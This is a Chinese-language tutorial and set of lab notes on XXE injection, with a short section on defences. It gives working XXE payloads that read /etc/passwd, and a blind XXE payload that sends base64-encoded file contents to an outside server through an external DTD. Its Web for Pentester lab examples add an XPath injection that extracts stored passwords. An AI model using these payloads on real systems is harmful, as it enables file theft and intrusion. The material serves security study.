一、XML外部實體注入介紹
1.1 XXE簡介
XML外部實體注入(XML External Entity Injection)也就是人們(mian shi guan )常說的XXE啦,見名知意,就是對於不安全的外部實體進行處理時引發的安全漏洞
1.2 XXE可以做什么?
讀取本地文件
端口探測
.....
只要權限夠基本啥都能干了
1.3 XXE原理
XXE漏洞全稱XML External Entity Injection即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。
xxe漏洞觸發的點往往是可以上傳XML文件約位置,沒有對上傳的XML文件進行過濾,導致可以上傳惡意的XML文件。
二、XML基礎知識
2.1 XML簡介
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。XML被設計為傳輸和存儲數據,其焦點是數據的內容,其把數據從HTML分離,是獨立於軟件和硬件的信息傳輸工具。
注意:要點:libxml2.9.1及以后,默認不解析外部實體。Linux中需要將libxml低於libxml2.9.1的版本編譯到PHP中,可以使用phpinfo()查看libxml的版本信息。
下面看一個XML文檔的實例:有點類似於HTML,具體細節可以參照w3cschool的文檔查看。
2.2 DTD介紹
DTD:Document Type Definition 即文檔類型定義,用來為XML文檔定義語義約束。可以嵌入在XML文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用),由於其支持的數據類型有限,無法對元素或屬性的內容進行詳細規范,在可讀性和可擴展性方面也比不上XML Schema。
2.3 使用DTD實體攻擊的方式
下面再介紹一下實體 (ENTITY)整個概念,如果需要在XML文檔種頻繁的使用某一條數據,我們可以預先給這個數據起一個別名,也就是一個ENTITY,之后再在文檔種調用它。
DTD實體的引用有內部聲明實體和外部引用實體的區別。按類型分則分為:內置實體,字符實體,通用實體,參數實體。
常見的在於參數實體和其他實體之間引用時的區別:
0x01 內部實體聲明
格式為:
<!DOCTYPE 文件名 [ <!ENTITY 實體名 "實體內容"> ]> 定義好的ENTITY在文檔中通過“&實體名;”來使用。
例如:下面定義了一個name的實體,實體的值為Zh1z3ven,定義好了之后就可以在aaa這個文件內部通過&實體名;進行調用。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE aaa[ <!ENTITY name "Zh1z3ven"> ]> <root> <name>&name;</name>
上面展示的是一個內部DTD的聲明,而外部的DTD實體則需要通過URL來遠程調用一個.dtd文本文件,也或者可以利用file協議引用一個本地的文件;當然也支持其他的協議,不過不同的語言支持的協議不一樣,可以參照下圖。
0x02 外部實體調用
1.利用file協議 :
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE aaa [ <!ENTITY name SYSTEM "file:///c:/windows/win.ini" > ]> <name>&name;</name>
2.利用http協議:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE aaa [ <!ENTITY name SYSTEM "http://127.0.0.1/123.txt" > ]> <name>&name;</name>
3 參數實體+外部實體
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "http://127.0.0.1/123.txt"> %name; ]>
例子:
XML內容:
大致邏輯是通過參數實體% name調用test.dtd之后在XML里調用dtd中的test實體來讀取文件內容
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "http://127.0.0.1/test.dtd"> %name; ]> <d>&test;</d>
DTD(test.dtd)文件內容
結果:
三 XXE利用的幾種姿勢
1. 利用file協議讀取本地文件(如etc/passwd)
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE aaa [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name>
2.利用參數實體調用.dtd文件之后在XML里調用dtd中的聲明的實體來讀取文件內容
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "http://127.0.0.1/test.dtd"> %name; ]> <d>&test;</d>
test.dtd內容:
<!ENTITY test SYSTEM "file:///etc/passwd">
3.盲XXE思路:
(Orz這里還未自己驗證,知識從網上搬運的,有環境的同學可以復現一下)
如果實戰場景下XML沒有回顯,可以利用構造好的payload在讀取存在XXE漏洞服務器文件的同時利用
php://filter將文件內容發送到攻擊者服務器,那么訪問服務器的web日志就可以看到此次攻擊結果。
ps:首先這是一個file關鍵字的get參數傳遞,
php://是一種協議名稱,php://filter/是一種訪問本地文件的協議,
/read=convert.base64-encode/表示讀取的方式是base64編碼后,
resource=/etc/passwd表示目標文件為/etc/passwd。
這個php://filter據說經常來構造ThinkPHP的RCE漏洞 ---Orz :(
<!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd SYSTEM "http://www.hackersb.cn/attack.dtd"> %dtd; %mydata; ]>
這里日志獲取的內容記得base64解碼就好,通過看日志或者wireshark抓包都可以看到
attack.dtd內容為
<!ENTITY % all "<!ENTITY % mydata SYSTEM "http://www.hackersb.cn/?%file">" >
4.其他思路
既然可以使用file 那么也可以用http來造成SSRF或者利用gopher協議當然也可以探測端口等等
基本啥都能干了
四 關於XXE的防御
4.1 禁用外部實體
如PHP中的libxml_disable_entity_loader(true);
其他語言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
4.2 過濾用戶提交的XML數據
如SYSTEM或者PUBLIC以及一些協議 file等
4.3 附上寫本文的參考連接
https://security.tencent.com/index.php/blog/msg/69
https://www.hackersb.cn/hacker/211.html
https://www.freebuf.com/sectool/156863.html
https://www.hackersb.cn/hacker/211.html
https://thief.one/2017/06/20/1/
https://github.com/CHYbeta/Web-Security-Learning#xxe
(PS:下面是做web_for_pentester時XML注入的一些筆記 懶得刪了 可以直接略過 )
ENTITY實體:
如果在XML文檔中需要頻繁使用某一條數據,我們可以預先給這個數據起一個別名。即一個ENTITY,然后再在文檔中調用它。
XML定義了兩種類型的ENTITY,一種在XML文檔中使用,另一種在為參數在DTD文件中使用。
ENTITY的定義語法:
<!DOCTYPE 文件名 [ <!ENTITY 實體名 "實體內容"> ]> 定義好的ENTITY在文檔中通過“&實體名;”來使用。
例如:定義一個name值為“Tom”,就可以在XML任何地方引用。
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name "Tom" > ]> <root> <name>&name;</name> </root>
正常來說,DTD分為內部DTD與外部DTD,內部DTD包含在XML文檔中,外部DTD則通過URL引用.一個DTD文件是以.dtd結尾的文本文件 。前面還要加上SYSTEM
,但是如果此處沒有任何過濾,我們完全可以引用系統敏感文件的,前提是頁面有回顯,否則你只引用了文件但不知道文件內容。
例如 Linux和Windows下的讀取路徑不一樣
//Linux下讀取/etc/passwd
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name>
//Windows下讀取C:/windows/win.ini
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///c:/windows/win.ini" > ]> <name>&name;</name>
三、Example
Example1
下面先看一下后端代碼:
<?php require_once("../header.php"); ?> Hello <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?> <?php require_once("../footer.php"); ?>
simplexml_load_string() 函數可以轉換形式良好的XML字符串為SimpleXMLElement對象
print_r()可以把字符串和數字簡單地打印出來,而數組則以括起來的鍵和值得列表形式顯示,並以Array開頭。但print_r()輸出布爾值和NULL的結果沒有意義,因為都是打印”\n”。因此用var_dump()函數更適合調試。打印關於變量的易於理解的信息,如果給出的是 string、integer 或 float,將打印變量值本身。如果給出的是 array,將會按照一定格式顯示鍵和元素。object 與數組類似。 記住,print_r() 將把數組的指針移到最后邊。使用 reset() 可讓指針回到開始處。
利用方法
先構造基本框架 注意&name后要有;原文應該是筆誤漏掉了。xml全部要寫到一行里,構造好的語句需要進行URL編碼
<!DOCTYPE xxx[<!ENTITY name "hacker">]><name>&name;</name>
//URL編碼:
%3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20%22hacker%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3
嘗試讀取本地文件/etc/passwd
<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name> //URL編碼: %3C!DOCTYPE%20xxx%5B%3C!ENTITY%20name%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2Fname%3E
Example2
后端代碼:
<?php require_once("../header.php"); $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>"; $xml=simplexml_load_string($x); $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message"; $res = ($xml->xpath($xpath)); while(list( ,$node) = each($res)) { echo $node; } ?> <?php require_once("../footer.php"); ?>
可以看到源代碼先定義了一個$x變量,里面包含了一個xml。
然后把的 XML 字符串轉換為 SimpleXMLElement 對象,並賦值給$res
然后查詢了users里user里的name 值為$name
的,並返回其所有父節點的message里面的值。
然后執行查詢,最后while循環顯示查詢的值。
XPath介紹:
XPath 是一門在 XML 文檔中查找信息的語言。XPath 可用來在 XML 文檔中對元素和屬性進行遍歷。
XPath 是 W3C XSLT 標准的主要元素,並且 XQuery 和 XPointer 都構建於 XPath 表達之上。
因此,對 XPath 的理解是很多高級 XML 應用的基礎。
XPath基本語法:
路徑表達式 結果 bookstore 選取 bookstore 元素的所有子節點。 /bookstore 選取根元素 bookstore。 bookstore/book 選取屬於 bookstore 的子元素的所有 book 元素。 //book 選取所有 book子元素,而不管它們在文檔中的位置。 bookstore//book 選擇屬於 bookstore 元素的后代的所有 book 元素,而不管它們位於 bookstore 之下的什么位置。 //@lang 選取名為 lang 的所有屬性。
/表示從XML文件中的根節點開始解析
//表示在XML文件中匹配已選擇的當前節點,且不考慮其位置關系XPath Axes(軸)軸可以定義當前節點的節點集,下面列舉了幾個常用的。
ancestor 選取當前節點的所有先輩(父、祖父等)。 ancestor-or-self 選取當前節點的所有先輩(父、祖父等)以及當前節點本身。 attribute 選取當前節點的所有屬性。 child 選取當前節點的所有子元素。 descendant 選取當前節點的所有后代元素(子、孫等)。 descendant-or-self 選取當前節點的所有后代元素(子、孫等)以及當前節點本身。 following 選取文檔中當前節點的結束標簽之后的所有節點。 namespace 選取當前節點的所有命名空間節點。 parent 選取當前節點的父節點。
了解了軸,再來了解一下步
,下面舉幾個例子更便於了解:
child::book 選取所有屬於當前節點的子元素的 book 節點。 attribute::lang 選取當前節點的 lang 屬性。 child::* 選取當前節點的所有子元素。 attribute::* 選取當前節點的所有屬性。 child::text() 選取當前節點的所有文本子節點。 child::node() 選取當前節點的所有子節點。 descendant::book 選取當前節點的所有 book 后代。 ancestor::book 選擇當前節點的所有 book 先輩。 ancestor-or-self::book 選取當前節點的所有 book 先輩以及當前節點(如果此節點是 book 節點) child::*/child::price 選取當前節點的所有 price 孫節點。
最后的最后,我們嘗試構造,還是注入的思路,先嘗試正確閉合,然后注釋掉后面沒用的。
?name=hacker' or 1=1]/parent::*/child::node()%00
//%00注釋掉后面的語句
// /parent::*/child::node()查看當前節點的所有父節點的子節點
?name=hacker' or 1=1]/parent::*/password%00